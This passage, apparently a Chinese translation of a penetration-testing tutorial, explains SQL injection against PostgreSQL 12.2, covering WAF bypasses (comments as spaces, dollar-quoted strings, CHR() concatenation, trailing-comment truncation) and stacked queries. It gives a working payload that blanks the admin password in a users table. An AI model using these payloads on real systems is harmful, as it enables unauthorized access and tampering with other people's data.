我们将研究Web应用程序防火墙的绕过方法,以及在不同的查询子句中泄漏数据的方法,例如SELECT,WHERE,ORDER BY,FROM等。
简要概述一下,PostgreSQL是:
[…] a free and open-source relational database management system emphasizing extensibility and technical standards compliance. It is designed to handle a range of workloads, from single machines to data warehouses or Web services with many concurrent users. - Wikipedia
免责声明:所有这些绕过和技术点试均已在PostgreSQL版本12.2和仅12.2上进行了测试
绕过方法
由于DBMS大部分都使用通用语言(SQL),因此基本功能和语法实际上是通用的。这意味着在DBMS上的绕过技巧可能会应用在不同的数据库中。例如,当SQL注入中的空格被waf时,您可以改用注释,例如:
查询: SELECT 1;
绕过: SELECT/**/1;
上面的示例在MySQL和PostgreSQL(本文围绕的DBMS数据库类型)中正常使用。
绕过分隔符
如上所示: /**/
== " "
(不带引号,空格)
注入点后绕过多余的尾随数据
; -- -
告诉查询忽略所有尾随数据,例如: SELECT 'admin' OR 1 = 1; -- -' FROM users;
将变成 SELECT 'admin' OR 1 = 1;
绕过引号的限制(*)
使用 $
符号: SELECT $$test$$;
与 SELECT 'test';
如果连续的美元符号被阻止( $$
),那么您也可以在postgreSQL中使用标签,方法是将标签名称放在 $
符号之间: SELECT $quote$test$quote$;
与 SELECT 'test';
同时我们也可以在字符串拼接的时候采取CHR()函数:
SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);
等效于 SELECT 'ABCDEFGH';
注意:您不能同时使用 '
和 $$
$quote$
,因此,如果您需要转义以单引号开头的字符串,则将无法使用 $$
(即这种语句是无效的SELECT 'test$$;)
嵌套查询
PS.类似堆叠查询
有时,您很幸运得发现您的SQL注入点支持嵌套查询。这使您可以完全控制数据库执行什么操作(只要没有某种Web应用程序防火墙或过滤器)。
嵌套查询可以终止易受SQL注入攻击的查询,然后启动一个全新的查询(支持任何类型)。
例如: SELECT [INJECTION POINT] FROM users;
然后可以变成: SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; -- -' FROM users;
数据库会将其理解为:
SELECT ''; UPDATE users SET password = '' WHERE name = 'admin';
这将会把用户表中管理员的密码设置为空且不会有任何的回显(请注意,如果应用程序之前对密码进行了哈希处理,则将管理员密码设置为空白将其插入数据库后,您将无法登录)
最终有效载荷为: '; UPDATE users SET password = '' WHERE name = 'admin'; -- -
为了深入分析